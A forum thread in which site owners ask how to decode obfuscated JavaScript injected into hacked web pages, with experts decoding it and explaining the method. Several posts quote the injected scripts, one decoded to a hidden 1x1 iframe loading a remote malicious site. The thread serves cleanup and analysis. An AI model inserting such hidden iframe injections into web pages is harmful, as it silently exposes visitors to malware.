How to decode obfuscated JavaScript

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • kyredbone
    New Member
    • Sep 2007
    • 3

    #1

    How to decode obfuscated JavaScript

    I have no knowledge of programming... I can usually look through a script though and figure out what the idea is.

    Recently several of my sites got hijacked and below is the code that was inserted, what I'm trying to do is to decode it to figure out what it's intent was and to see if it opened up any other holes in the server that I need to know about.

    Maybe this is easy stuff... but I don't have a clue where to start ...

    Code:
    <script language='JavaScript'>function nbsp() {var t,o,l,i,j;var s='';s+='060047116101120116097116101097062060047116101120116097114101097062'; s+='060073070082065077069032115114099061034104116116112058047047109097114099111098101114110097114100111';s=s+'110105046099111109047120047105110100101120046112104112034032119105100116104061051032104101105103104';s=s+'116061051032115116121108101061034100105115112108097121058110111110101034062060047073070082065077069';s=s+'062032';t='';l=s.length;i=0;while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(String.fromCharCode(t));t='';}}nbsp();</script><!-- c4 -->
    any help would be greatly appreciated.

    TIA.
  • pbmods
    Recognized Expert Expert
    • Apr 2007
    • 5821

    #2
    Heya, KyredBone. Welcome to TSDN!

    Have a look at this thread.

    Comment

    • kyredbone
      New Member
      • Sep 2007
      • 3

      #3
      Ok... I looked at that and created a test.php on my server... I see the text box but it is empty... I'm guessing I've done something wrong... how much or what portion exactly do I need to put in

      Code:
      document.getElementById("test").value = unescape('code goes here')
      and also do I need the " ' " around the code goes here ?

      Comment

      • kyredbone
        New Member
        • Sep 2007
        • 3

        #4
        Ok...once I saw you noted that it was obfuscated JS then I did some more research and found the site below that would decode it .... thx.

        Comment

        • acoder
          Recognized Expert MVP
          • Nov 2006
          • 16032

          #5
          Originally posted by kyredbone
          Ok...once I saw you noted that it was obfuscated JS then I did some more research and found the site below that would decode it .... thx.

          http://www.netdemon.net/haywyre/
          That thread dealt with a simple escaped string. Yours is a bit more complicated. That's why it wouldn't work.

          Comment

          • dyetube
            New Member
            • Oct 2007
            • 5

            #6
            Can anyone tell me about how to decode this script:

            <script type="text/javascript">
            document.write( '\u003c\u0069\u 0066\u0072\u006 1\u006d\u0065\u 0020\u0073\u007 2\u0063\u003d\u 0022\u0068\u007 4\u0074\u0070\u 003a\u002f\u002 f\u0074\u0072\u 0061\u0066\u006 6\u0075\u0072\u 006c\u002e\u007 2\u0075\u002f\u 0073\u006c\u006 9\u0076\u002f\u 0069\u006e\u006 4\u0065\u0078\u 002e\u0070\u006 8\u0070\u0022\u 0020\u0077\u006 9\u0064\u0074\u 0068\u003d\u003 1\u0020\u0068\u 0065\u0069\u006 7\u0068\u0074\u 003d\u0031\u002 0\u0073\u0074\u 0079\u006c\u006 5\u003d\u0022\u 0076\u0069\u007 3\u0069\u0062\u 0069\u006c\u006 9\u0074\u0079\u 003a\u0068\u006 9\u0064\u0064\u 0065\u006e\u003 b\u0070\u006f\u 0073\u0069\u007 4\u0069\u006f\u 006e\u003a\u006 1\u0062\u0073\u 006f\u006c\u007 5\u0074\u0065\u 0022\u003e\u003 c\u002f\u0069\u 0066\u0072\u006 1\u006d\u0065\u 003e');
            </script>

            I encountered this on a friends page and removed it. I know it is associated with traffurl.ru. my "noscript" add on for Firefox blocked the site when I went to his web site which was how I figured out it was in his page but I cannot figure out a way to decode it to see what it is doing. Any help?

            Comment

            • rnd me
              Recognized Expert Contributor
              • Jun 2007
              • 427

              #7
              [PHP]
              <iframe src="http://traffurl.ru/sliv/index.php" width=1 height=1 style="visibili ty:hidden;posit ion:absolute"></iframe>

              [/PHP]

              Comment

              • acoder
                Recognized Expert MVP
                • Nov 2006
                • 16032

                #8
                Originally posted by dyetube
                Can anyone tell me about how to decode this script:
                You've got the decoded version as posted by rnd me, but if you want to decode it yourself, here's a very easy way: replace the document.write with an alert.

                Comment

                • incuboss
                  New Member
                  • Jun 2008
                  • 1

                  #9
                  Anyone can help me to decode this scripts?

                  Code:
                  dw_Inf.gw=dw_Inf.fn("\x77\x69\x6e\x64\x6f\x77\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e");dw_Inf.ar=[65,32,108,105,99,101,110,115,101,32,105,115,32,114,101,113,117,105,114,101,100,32,102,111,114,32,97,108,108,32,98,117,116,32,112,101,114,115,111,110,97,108,32,117,115,101,32,111,102,32,116,104,105,115,32,99,111,100,101,46,32,83,101,101,32,84,101,114,109,115,32,111,102,32,85,115,101,32,97,116,32,100,121,110,45,119,101,98,46,99,111,109];
                  Code:
                  dw_Inf.mg=dw_Inf.fn('\x64\x77\x5f\x49\x6e\x66\x2e\x67\x65\x74\x28\x64\x77\x5f\x49\x6e\x66\x2e\x61\x72\x29');
                  Code:
                  dw_Inf.fn('\x64\x77\x5f\x49\x6e\x66\x2e\x67\x77\x3d\x64\x77\x5f\x49\x6e\x66\x2e\x67\x77\x2e\x68\x6f\x73\x74\x6e\x61\x6d\x65');
                  Code:
                  dw_Inf.x0=function(){dw_Inf.fn('\x69\x66\x28\x21\x28\x64\x77\x5f\x49\x6e\x66\x2e\x67\x77\x3d\x3d\x22\x22\x7c\x7c\x64\x77\x5f\x49\x6e\x66\x2e\x67\x77\x3d\x3d\x22\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x22\x7c\x7c\x64\x77\x5f\x49\x6e\x66\x2e\x67\x77\x3d\x3d\x22\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x22\x7c\x7c\x64\x77\x5f\x49\x6e\x66\x2e\x67\x77\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x22\x64\x79\x6e\x2d\x77\x65\x62\x2e\x63\x6f\x6d\x22\x29\x21\x3d\x2d\x31\x29\x29\x61\x6c\x65\x72\x74\x28\x64\x77\x5f\x49\x6e\x66\x2e\x6d\x67\x29\x3b');dw_Inf.fn('\x64\x77\x5f\x49\x6e\x66\x2e\x72\x65\x61\x64\x79\x3d\x74\x72\x75\x65\x3b');dw_Inf.fn('\x64\x77\x5f\x73\x63\x72\x6f\x6c\x6c\x65\x72\x73\x2e\x72\x65\x61\x64\x79\x3d\x74\x72\x75\x65\x3b');};
                  Code:
                  dw_Inf.fn('\x64\x77\x5f\x49\x6e\x66\x2e\x78\x30\x28\x29\x3b');

                  Thanks advanced for all helps!!

                  Comment

                  • acoder
                    Recognized Expert MVP
                    • Nov 2006
                    • 16032

                    #10
                    First of all, welcome to Bytes!

                    What you can do is wrap those statements in strings and use document.write or alert to display. Those code snippets show as:
                    [code=javascript]dw_Inf.gw=dw_In f.fn("window.lo cation");dw_Inf .ar=[65,32,108,105,9 9,101,110,115,1 01,32,105,115,3 2,114,101,113,1 17,105,114,101, 100,32,102,111, 114,32,97,108,1 08,32,98,117,11 6,32,112,101,11 4,115,111,110,9 7,108,32,117,11 5,101,32,111,10 2,32,116,104,10 5,115,32,99,111 ,100,101,46,32, 83,101,101,32,8 4,101,114,109,1 15,32,111,102,3 2,85,115,101,32 ,97,116,32,100, 121,110,45,119, 101,98,46,99,11 1,109];
                    dw_Inf.mg=dw_In f.fn('dw_Inf.ge t(dw_Inf.ar)');
                    dw_Inf.fn('dw_I nf.gw=dw_Inf.gw .hostname');
                    dw_Inf.x0=funct ion(){dw_Inf.fn ('if(!(dw_Inf.g w==""||dw_Inf.g w=="127.0.0.1"| |dw_Inf.gw=="lo calhost"||dw_In f.gw.indexOf("d yn-web.com")!=-1))alert(dw_Inf .mg);');dw_Inf. fn('dw_Inf.read y=true;');dw_In f.fn('dw_scroll ers.ready=true; ');};
                    dw_Inf.fn('dw_I nf.x0();'); [/code]

                    Comment

                    • Adeel Rizvi
                      New Member
                      • Aug 2010
                      • 1

                      #11
                      How To Decode &amp; Encode Javascript Hexa Codes

                      Hello Guys,

                      I have solved your problems - i have made a little tool in vb.net to decode and encode again - below you can find the link where u can see the video also how to use it.

                      adeelnokiastuff s.blogspot.com/2010/08/javascript-hexa-codes-decoder-and.html

                      if anything please email me at adeel.rizvi at yda.net.au

                      Comment

                      Working...